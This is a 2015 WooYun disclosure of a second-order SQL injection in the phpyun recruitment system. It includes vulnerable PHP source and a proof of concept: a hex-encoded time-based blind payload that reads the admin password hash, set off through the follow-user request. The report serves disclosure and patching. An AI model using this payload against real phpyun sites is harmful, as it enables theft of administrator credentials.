当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2015-122884

漏洞标题: phpyun注入漏洞#2

相关厂商: php云人才系统

漏洞作者: Noxxx

提交时间: 2015-06-26 14:54

公开时间: 2015-09-24 15:08

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-26: 细节已通知厂商并且等待厂商处理中
2015-06-26: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-08-20: 细节向核心白帽子及相关领域专家公开
2015-08-30: 细节向普通白帽子公开
2015-09-09: 细节向实习白帽子公开
2015-09-24: 细节向公众公开

简要描述:

phpyun注入漏洞#2

详细说明:

文件名: \app\controller\friend\index.class.php中 有这样一句

code 区域
$nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid));



传入了整个post,我们跟进SaveFriendInfo看看.



文件名: \app\model\friend.model.php

code 区域
function SaveFriendInfo($Values=array(),$Where=array()){
if(empty($Where)){
$ValuesStr=$this->FormatValues($Values);
return $this->DB_insert_once('friend_info',$ValuesStr);
}else{
//很显然,Where是不为空的。
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);//重点是看这个函数
return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr); //直接送入语句查询。
}
}





文件名: \app\public\action.class.php FormatValues函数如下





code 区域
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){ //看见没 如果 v为数字的话就 不加单引号 反之引上单引号。因为使用了 is_numeric函数的原因,0x111 这种格式的也可以通过限制 而mysql中也是可以直接解析0x的格式的, 所以我们直接寻找有没有二次注入的地方即可。
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}







寻找二次注入中...寻找到了。美中不足的地方就是只能延迟注入。



文件:\app\controller\ask\friend.class.php

这个功能是关注功能..

ID是对方的uid .可以自己注册 2个账号来操作。



code 区域
function atnuser_action(){
$id=(int)$_POST['id'];
if($id>0){
if($this->uid){

if($_POST['id']==$this->uid){
echo 4;die;
}
$M=$this->MODEL('ask');
$FriendM=$this->MODEL('friend');
$atninfo = $M->GetAtnOne(array('uid'=>$this->uid,'sc_uid'=>$id));
$UserInfoM=$this->MODEL('userinfo');
$user=$UserInfoM->GetMemberOne(array('uid'=>$id),array('field'=>'`usertype`'));
$comurl = url("ask",array("c"=>"friend","uid"=>$id));
$row=$FriendM->GetFriendInfo(array('uid'=>$id));//看这里.查出friend_info表里的数据
$name = $row['nickname'];//看这里把nickname查出来了赋值给$name

if(is_array($atninfo)&&!empty($atninfo)){ //这句话的意思是你是否是对方的粉丝,如果是那么就取消关注,反之关注.
$M->DeleteAtn(array('uid'=>$this->uid,'sc_uid'=>$id));
$FriendM->SaveFriendInfo(array('`fans`=`fans`-1'),array('uid'=>$id));
$FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`-1'),array('uid'=>$this->uid));
$this->addstate("取消了对<a href=\"".$comurl."\">".$name."</a>的关注!",2);
$this->automsg("用户 ".$this->username." 取消了对你的关注!",$id);
$M->member_log("取消了对".$name."的关注!");//看这里带入了$name
echo "2";die;
}else{
$M->insert_into("atn",array('uid'=>$this->uid,'sc_uid'=>$id,'usertype'=>(int)$_COOKIE['usertype'],'sc_usertype'=>$user['usertype'],'time'=>time()));
$FriendM->SaveFriendInfo(array('`fans`=`fans`+1'),array('uid'=>$id));
$FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`+1'),array('uid'=>$this->uid));
$this->addstate("关注了<a href=\"".$comurl."\">".$name."</a>",2);
$this->automsg("用户 ".$this->username." 关注了你!",$id);
$M->member_log("关注了".$name);//看这里带入了$name
echo "1";die;
}
}else{
echo "3";die;
}
}
}





我们在来分析member_log函数.

文件 :app\public\action.class.php



code 区域
function member_log($content,$opera='',$type=''){
if($_COOKIE['uid']){
$value="`uid`='".(int)$_COOKIE['uid']."',";
$value.="`usertype`='".(int)$_COOKIE['usertype']."',";
$value.="`content`='".$content."',";
$value.="`opera`='".$opera."',";
$value.="`type`='".$type."',";
$value.="`ip`='".fun_ip_get()."',";
$value.="`ctime`='".time()."'";
$this->DB_insert_once("member_log",$value);
}
}





看到这里我笑了..一般带DB_开头查询函数并没有进行转义操作. 可以造成注入.

不管是取关还是加关都会造成二次注入.

漏洞证明:

接下来就是poc演示了.

先注册2个账号,A和B.

注:uid可以cookie中查询得到。

先登录账号A:

**.**.**.**:8081/php/phpyun/friend/c_saveinfo.html

post提交

submitBtn=1&nickname=0x272c69703d28534c454550284d4944282853454c4543542050415353574f52442046524f4d2070687079756e5f61646d696e5f75736572204c494d49542031292c312c31293d273427292923

nickname的数据是',ip=(SLEEP(MID((SELECT PASSWORD FROM phpyun_admin_user LIMIT 1),1,1)='4'))# 我们需要hex下,才不会被加上单引号;



可以看到数据里已经更改掉数据了。

QQ截图20150626011057.png





现在我们来登录第二个账号B



**.**.**.**:8081/php/phpyun/ask/c_friend-a_atnuser.html

Post提交

id=1

Id是你要关注的账号id也就是A的uid。(uid可以cookie中查询得到。)

为了直观显示为就把sql语句输出了。



QQ截图20150626013318.png





看见没..成功执行了语句.密码第一位是4就延迟一秒。



利用脚本我就不给出了,几个post请求判断的事。

修复方案:

可能还有其他因为这个函数所导致二次注入,需要完善FormatValues函数。

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-26 15:06

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-06-26 16:12 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    1

    为啥小厂了

  2. 2015-06-26 23:21 | 不能忍 ( 普通白帽子 | Rank:113 漏洞数:51 | 要是能重来,我要选李白!)
    0

    @Noxxx 大牛如何看小厂还是大厂?

  3. 2015-06-27 09:29 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    @不能忍 上主页就走大厂流程 确认rank没减就是大厂

  4. 2015-09-25 08:08 | 小葵 ( 实习白帽子 | Rank:84 漏洞数:11 | 我们是害虫,我们是害虫!)
    0

    不得不mark一下,很经典

登录后才能发表评论,请先 登录